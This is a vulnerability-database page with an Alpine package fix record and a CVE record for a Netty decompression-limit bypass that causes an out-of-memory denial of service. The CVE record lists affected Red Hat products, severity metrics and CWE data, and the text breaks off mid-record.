Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "incubator-kie-kogito-data-index-ephemeral"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.1.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...",
"id": "CLEANSTART-2026-ZY67243",
"modified": "2026-07-30T09:29:43Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://kie.apache.org"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in incubator-kie-kogito-data-index-ephemeral 10.1.0-r1",
"upstream": [
"CVE-2025-11965",
"CVE-2025-11966",
"CVE-2025-2240",
"CVE-2025-48924",
"CVE-2025-49574",
"CVE-2025-55163",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-67735",
"CVE-2026-1002",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-41417",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42587",
"ghsa-38f8-5428-x5cv",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45p5-v273-3qqr",
"ghsa-45q3-82m4-75jr",
"ghsa-57rv-r2g8-2cj3",
"ghsa-72hv-8253-57qq",
"ghsa-84h7-rjj3-6jx4",
"ghsa-9623-mj7j-p9v4",
"ghsa-cm33-6792-r9fm",
"ghsa-cphf-4846-3xx9",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-fghv-69vj-qj49",
"ghsa-gfh6-3pqw-x2j4",
"ghsa-h5fg-jpgr-rv9c",
"ghsa-j288-q9x7-2f5v",
"ghsa-m4cv-j2px-7723",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-prj3-ccx8-p6x4",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-v8h7-rr48-vmmv",
"ghsa-w9fj-cfpg-grvv",
"ghsa-xxqh-mfjm-7mv9"
]
}
CVE-2026-42587 (GCVE-0-2026-42587)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:22 – Updated: 2026-07-22 12:08| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http2 |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-10 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.27.4 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.33.2 |
cpe:/a:redhat:quarkus:3.33::el8 |
|
| Red Hat | Red Hat Data Grid 8.6.2 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Streams for Apache Kafka 2.9.4 |
Unaffected:
codec-http2 , < *
(rpm)
cpe:/a:redhat:amq_streams:2.9::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783443816 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780948325 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780696380 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780694994 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782989027 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42587",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:43:31.138358Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:52:26.728Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.33::el8"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Quarkus 3.33.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-modelmesh-rhel9",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783443816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/openvsx-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780948325",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/pluginregistry-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780696380",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/server-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780694994",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/multicluster-redirector-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782989027",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-dispatcher-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-receiver-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_clients:2023"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Clients",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-openshift-rhel9/rhbk-openshift-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-rhel9-operator/rhbk-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel6",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel7",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel8",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-modelmesh-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-spark-operator-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-rocm64-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-trustyai-service-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-trustyai-service-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite:el8/candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-13T18:22:21.699Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-22T12:08:42.412Z",
